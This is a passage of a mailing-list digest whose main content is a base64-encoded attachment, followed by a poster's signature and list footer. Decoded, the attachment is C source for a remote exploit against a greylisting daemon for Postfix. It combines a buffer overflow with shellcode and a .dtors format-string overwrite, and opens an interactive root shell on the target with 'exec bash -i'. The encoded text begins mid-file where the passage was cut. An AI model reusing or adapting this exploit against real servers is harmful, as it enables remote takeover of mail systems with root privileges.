ZXIgYnVmZmVyICovCgkJCWZvcihhPTA7YTwxMDAwO2ErKykKCQkJCW5vcF9z aGVsbFthXT0nTic7CgkJCS8qIGNsaWVudF9hZGRyZXNzIGJ1ZmZlciAqLwoJ CQlmb3IoYj0wO2I8c2l6ZSo0O2IrPTQpCgkJCQkqKGxvbmcgKikmY29kZV9i dWZbYl09MHg4MjgyODI4MjsKCQkJLyogZWJwICovCgkJCSoobG9uZyAqKSZj b2RlX2J1ZltiXT0weDQxNDE0MTQxOwoJCQliKz00OwoJCQkvKiBlaXAgKGpt cCAqJWVzcCkgKi8KCQkJKihsb25nICopJmNvZGVfYnVmW2JdPShzaGVsbCk7 CgkJCWIrPTQ7CgkJCS8qIGptcCBub3AgKDB4ZWIsMHgwOCkgKi8KCQkJKihs b25nICopJmNvZGVfYnVmW2JdPTB4MDhlYjA4ZWI7CgkJCWIrPTQ7CgkJCS8q IGR1bW15LCBub3AgKi8KCQkJLy8gMHgwODA0ZDI4MCAweGJmZmZlMWM4IDB4 MDgwNDk1MjEKCQkJKihsb25nICopJmNvZGVfYnVmW2JdPTB4MDgwNGQyODA7 CgkJCWIrPTQ7CgkJCSoobG9uZyAqKSZjb2RlX2J1ZltiXT0weDkwOTA5MDkw Oy8vMHhiZmZmZTFjODsKCQkJYis9NDsKCQkJKihsb25nICopJmNvZGVfYnVm W2JdPTB4OTA5MDkwOTA7Ly8weDA4MDQ5NTIxOwoJCQliKz00OwoJCQkqKGxv bmcgKikmY29kZV9idWZbYl09MHg5MDkwOTA5MDsKCQkJYis9NDsKCQkJLyog c2hlbGxjb2RlICovCgkJCWZvcihhPTA7YTxzdHJsZW4oc2hlbGxjb2RlKTth KyspCgkJCQljb2RlX2J1ZltiKytdPXNoZWxsY29kZVthXTsKCgkJCXNucHJp bnRmKHRfYXRrLHNpemVvZih0X2F0ayktMSwKCQkJCSJzZW5kZXI9JXNcclxu IgoJCQkJImNsaWVudF9hZGRyZXNzPSVzXHJcblxyXG4iLG5vcF9zaGVsbCxj b2RlX2J1Zik7Cgl9Cn0KCmludCBtYWtlX2ZtdF9jb2RlKHVuc2lnbmVkIGxv bmcgcmV0bG9jLHVuc2lnbmVkIGxvbmcgc2hlbGwsaW50IHNmbGFnKQp7Cgl1 bnNpZ25lZCBjaGFyIGhlYWRlclsyNTZdOwoJdW5zaWduZWQgY2hhciBub3Bf c2hlbGxbODE5Ml07CglpbnQgYSxiLGMsZCxlLGY7CglpbnQgYWRkcjEsYWRk cjIsYWRkcjMsYWRkcjQ7CglhPWI9Yz1kPWU9Zj1hZGRyMT1hZGRyMj1hZGRy Mz1hZGRyND0wOwoKCW1lbXNldCgoY2hhciAqKWhlYWRlciwwLHNpemVvZiho ZWFkZXIpKTsKCW1lbXNldCgoY2hhciAqKW5vcF9zaGVsbCwwLHNpemVvZihu b3Bfc2hlbGwpKTsKCW1lbXNldCgoY2hhciAqKXRfYXRrLDAsc2l6ZW9mKHRf YXRrKSk7CgoJZnByaW50ZihzdGRvdXQsIiAjIE1ha2UgZm9ybWF0IHN0cmlu ZywgLmR0b3JzOiAlcFxuIixyZXRsb2MpOwoKCSoobG9uZyAqKSZoZWFkZXJb MF09cmV0bG9jKzA7CgkqKGxvbmcgKikmaGVhZGVyWzRdPXJldGxvYysxOwoJ Kihsb25nICopJmhlYWRlcls4XT1yZXRsb2MrMjsKCSoobG9uZyAqKSZoZWFk ZXJbMTJdPXJldGxvYyszOwoKCWE9KHNoZWxsPj4yNCkmMHhmZjsKCWFkZHIx PShzaGVsbD4+MjQpJjB4ZmY7CgliPShzaGVsbD4+MTYpJjB4ZmY7CglhZGRy Mj0oc2hlbGw+PjE2KSYweGZmOwoJYz0oc2hlbGw+PjgpJjB4ZmY7CglhZGRy Mz0oc2hlbGw+PjgpJjB4ZmY7CglkPShzaGVsbD4+MCkmMHhmZjsKCWFkZHI0 PShzaGVsbD4+MCkmMHhmZjsKCglpZigoYWRkcjQtMTYtNjUpPDEwKWQrPTB4 MTAwOwoJaWYoKGFkZHIzLWFkZHI0KTwxMCljKz0weDEwMDsKCWlmKChhZGRy Mi1hZGRyMyk8MTApYis9MHgxMDA7CgoJZm9yKGU9MDtlPDMyMC1zdHJsZW4o c2hlbGxjb2RlKTtlKyspCgkJbm9wX3NoZWxsW2VdPSdOJzsKCWZvcihmPTA7 ZjxzdHJsZW4oc2hlbGxjb2RlKTtmKyspCgkJbm9wX3NoZWxsW2UrK109c2hl bGxjb2RlW2ZdOwoKCWZwcmludGYoc3Rkb3V0LCIgI1xuICMgc2hlbGxjb2Rl IGFkZHI6ICVwLCBzaXplOiAlZCBieXRlXG4iLHNoZWxsLHN0cmxlbihub3Bf c2hlbGwpKTsKCXNucHJpbnRmKHRfYXRrLHNpemVvZih0X2F0ayktMSwKCQki Y2xpZW50X2FkZHJlc3M9JXMiIC8qIGhlYWRlciAqLwoJCSIlJSV1eCUlJWQk biUlJXV4JSUlZCRuJSUldXglJSVkJG4lJSV1eCUlJWQkbiIgLyogZm10IGNv ZGUgKi8KCQkiJXNcclxuXHJcbiIsIC8qIHNoZWxsY29kZSAqLwoJCWhlYWRl cixkLTE2LTY1LChzZmxhZyswKSxjLWFkZHI0LChzZmxhZysxKSxiLWFkZHIz LAoJCShzZmxhZysyKSwweDEwMCthLWFkZHIyLChzZmxhZyszKSxub3Bfc2hl bGwpOwp9Cgp2b2lkIHJlX2Nvbm50KGludCBzb2NrKQp7CglpZihzb2NrPT0t MSkKCXsKCQlmcHJpbnRmKHN0ZG91dCwiICNcbiAjIEZhaWxlZC5cbiIpOwoJ CWZwcmludGYoc3Rkb3V0LCIgIyBIYXBweSBFeHBsb2l0ICEgOi0pXG4gI1xu XG4iKTsKCQlleGl0KC0xKTsKCX0KfQogCmludCBzZXRzb2NrKGNoYXIgKmhv c3QsaW50IHBvcnQpCnsKCWludCBzb2NrOwoJc3RydWN0IGhvc3RlbnQgKmhl OwoJc3RydWN0IHNvY2thZGRyX2luIHg4Ml9hZGRyOwogCglpZigoaGU9Z2V0 aG9zdGJ5bmFtZShob3N0KSk9PU5VTEwpCgl7CgkJaGVycm9yKCIgIyBnZXRo b3N0YnluYW1lKCkgZXJyb3IiKTsKCQlyZXR1cm4oLTEpOwoJfQoKCWlmKChz b2NrPXNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLDApKT09RU9GKQoJewoJ CXBlcnJvcigiICMgc29ja2V0KCkgZXJyb3IiKTsKCQlyZXR1cm4oLTEpOwoJ fQogICAgCgl4ODJfYWRkci5zaW5fZmFtaWx5PUFGX0lORVQ7Cgl4ODJfYWRk ci5zaW5fcG9ydD1odG9ucyhwb3J0KTsKCXg4Ml9hZGRyLnNpbl9hZGRyPSoo KHN0cnVjdCBpbl9hZGRyICopaGUtPmhfYWRkcik7CgliemVybygmKHg4Ml9h ZGRyLnNpbl96ZXJvKSw4KTsKIAoJaWYoY29ubmVjdChzb2NrLChzdHJ1Y3Qg c29ja2FkZHIgKikmeDgyX2FkZHIsc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikp PT1FT0YpCgl7CgkJcGVycm9yKCIgIyBjb25uZWN0KCkgZXJyb3IiKTsKCQly ZXR1cm4oLTEpOwoJfQoJcmV0dXJuKHNvY2spOwp9Cgp2b2lkIGNvbm5fc2hl bGwoaW50IHNvY2spCnsKCWludCBwY2t0OwoJY2hhciAqY21kPSJ1bmFtZSAt YTtpZDtleHBvcnQgVEVSTT12dDEwMDtleGVjIGJhc2ggLWlcbiI7CgljaGFy IHJidWZbMTAyNF07CglmZF9zZXQgcnNldDsKCW1lbXNldCgoY2hhciAqKXJi dWYsMCwxMDI0KTsKICAgIAoJZnByaW50ZihzdGRvdXQsIiAjXG4gIyBLaWxs IHR3byBiaXJkIHdpdGggb25lIHN0b25lIVxuIik7CglmcHJpbnRmKHN0ZG91 dCwiICMgT0ssIEl0J3MgUm9vdHNoZWxsXG4gI1xuXG4iKTsKCXNlbmQoc29j ayxjbWQsc3RybGVuKGNtZCksMCk7CgoJd2hpbGUoMSkKCXsKCQlmZmx1c2go c3Rkb3V0KTsKCQlGRF9aRVJPKCZyc2V0KTsKCQlGRF9TRVQoc29jaywmcnNl dCk7CgkJRkRfU0VUKFNURElOX0ZJTEVOTywmcnNldCk7CgkJc2VsZWN0KHNv Y2srMSwmcnNldCxOVUxMLE5VTEwsTlVMTCk7CgkKCQlpZihGRF9JU1NFVChz b2NrLCZyc2V0KSkKCQl7CgkJCXBja3Q9cmVhZChzb2NrLHJidWYsMTAyNCk7 CgkJCWlmKHBja3Q8PTApCgkJCXsKCQkJCWZwcmludGYoc3Rkb3V0LCIgI1xu ICMgSGFwcHkgRXhwbG9pdCAhXG4gI1xuXG4iKTsKCQkJCWV4aXQoMCk7CgkJ CX0KCQkJcmJ1ZltwY2t0XT0wOwoJCQlwcmludGYoIiVzIixyYnVmKTsKCQl9 CgkJaWYoRkRfSVNTRVQoU1RESU5fRklMRU5PLCZyc2V0KSkKCQl7CgkJCXBj a3Q9cmVhZChTVERJTl9GSUxFTk8scmJ1ZiwxMDI0KTsKCQkJaWYocGNrdD4w KQoJCQl7CgkJCQlyYnVmW3Bja3RdPTA7CgkJCQl3cml0ZShzb2NrLHJidWYs cGNrdCk7CgkJCX0KCQl9Cgl9CglyZXR1cm47Cn0KCnZvaWQgYmFucmwoKQp7 CglmcHJpbnRmKHN0ZG91dCwiXG4gI1xuICMgMHg4Mi1tZU93X2xpbnV4ZXJf Zm9yZXZlciAtIEdyZXlsaXN0aW5nIGRhZW1vbiBmb3IgUG9zdGZpeCByZW1v dGUgZXhwbG9pdFxuIik7CglmcHJpbnRmKHN0ZG91dCwiICMgc3pvYWhjKGF0 KWhvdG1haWwoZG90KWNvbVxuICNcblxuIik7Cn0KCnZvaWQgdXNhZ2UoY2hh ciAqYXJncykKewoJaW50IGk7CglmcHJpbnRmKHN0ZG91dCwiIFVzYWdlOiAl cyAtb3B0aW9ucyBhcmd1bWVudHNcblxuIixhcmdzKTsKCWZwcmludGYoc3Rk b3V0LCJcdC1yIFtyZXRsb2NdICAgICAgICAtIC5kdG9ycyBhZGRyZXNzLlxu Iik7CglmcHJpbnRmKHN0ZG91dCwiXHQtcyBbc2hlbGxdICAgICAgICAgLSBz aGVsbGNvZGUgYWRkcmVzcy5cbiIpOwoJZnByaW50ZihzdGRvdXQsIlx0LWYg W2ZsYWcgbnVtXSAgICAgIC0gJC1mbGFnIGNvdW50LlxuIik7CglmcHJpbnRm KHN0ZG91dCwiXHQtaCBbaG9zdF0gICAgICAgICAgLSB0YXJnZXQgaG9zdG5h bWUuXG4iKTsKCWZwcmludGYoc3Rkb3V0LCJcdC10IFt0eXBlIG51bV0gICAg ICAtIHRhcmdldCBudW1iZXIuXG4iKTsKCWZwcmludGYoc3Rkb3V0LCJcdC1p ICAgICAgICAgICAgICAgICAtIGhlbHAgaW5mb3JtYXRpb24uXG5cbiIpOwoK CWZwcmludGYoc3Rkb3V0LCIgLSBUYXJnZXQgVHlwZSBOdW1iZXIgTGlzdCAt XG5cbiIpOwoJZm9yKGk9MDtwbGF0Zm9ybVtpXS5vc190eXBlIT1OVUxMO2kr KykKCXsKCQlmcHJpbnRmKHN0ZG91dCwiIHslZH0gOiAlc1xuIixpLHBsYXRm b3JtW2ldLm9zX3R5cGUpOwoJfQoJZnByaW50ZihzdGRvdXQsIlxuIEV4YW1w bGU6ICVzIC10IDAgLWggbG9jYWxob3N0XG4iLGFyZ3MpOwoJZnByaW50Zihz dGRvdXQsIiBFeGFtcGxlOiAlcyAtciAweDgyODI4MjgyIC1zIDB4ODI4Mjgy ODIgLWYgMTVcblxuIixhcmdzKTsKCWV4aXQoMCk7Cn0KCi8qIGVveCAqLwoK ------------=_1113266468-3900-0-- ------------------------------ End of this Digest ****************** -- Raj Mathur [EMAIL PROTECTED] http://kandalaya.org/ GPG: 78D4 FC67 367F 40E2 0DD5 0FEF C968 D0EF CC68 D17F It is the mind that moves ------------------------------------------------------- SF email is sponsored by - The IT Product Guide Read honest & candid reviews on hundreds of IT Products from real users. Discover which products truly live up to the hype. Start reading now. http://ads.osdn.com/?ad_id=6595&alloc_id=14396&op=click _______________________________________________ linux-india-help mailing list [email protected] https://lists.sourceforge.net/lists/listinfo/linux-india-help
